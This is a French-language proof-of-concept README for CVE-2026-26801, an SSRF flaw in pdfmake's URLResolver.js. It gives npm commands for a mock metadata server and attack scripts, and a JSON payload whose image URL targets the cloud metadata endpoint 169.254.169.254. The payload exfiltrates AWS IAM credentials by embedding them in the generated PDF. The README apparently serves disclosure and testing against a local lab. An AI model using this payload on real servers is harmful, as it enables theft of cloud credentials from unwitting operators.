
PoC pour CVE-2026-26801 : SSRF dans pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| Champ | Valeur |
|---|
| Paquet | pdfmake |
| Version | >= 0.3.0-beta.2, <= 0.3.5 |
| Corrigé | 0.3.6 |
| CVE | CVE-2026-26801 |
| Type | Server-Side Request Forgery (SSRF) |
| Emplacement | src/URLResolver.js |
| Sévérité | ÉLEVÉE |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
Lorsque docDefinition contient des URL dans images, attachments ou files, pdfmake les récupère sans aucune validation :
npm install
npm run metadata
npm run server
SSRF aveugle (prouve que le serveur effectue des requêtes sortantes) :
npm run attack
SSRF avec lecture complète (identifiants intégrés dans le PDF généré) :
npm run exfiltrate
npm run attack)Sortie du serveur Metadata :
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
Cela prouve que le serveur vulnérable a effectué une requête sortante vers notre point de terminaison contrôlé.
npm run exfiltrate)Le script d'attaque génère exfiltrated.pdf. Ouvrez-le dans n'importe quel lecteur PDF et le JSON des identifiants AWS est intégré en tant que pièce jointe (metadata.json). Cela prouve une exfiltration complète des données, et non pas seulement une SSRF aveugle. L'attaquant récupère le corps de la réponse réel à l'intérieur du PDF.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
Analyse technique complète avec l'histoire de la découverte, la chaîne d'attaque et la chronologie de divulgation : mariopepe.github.io/cve-2026-26801-pdfmake-ssrf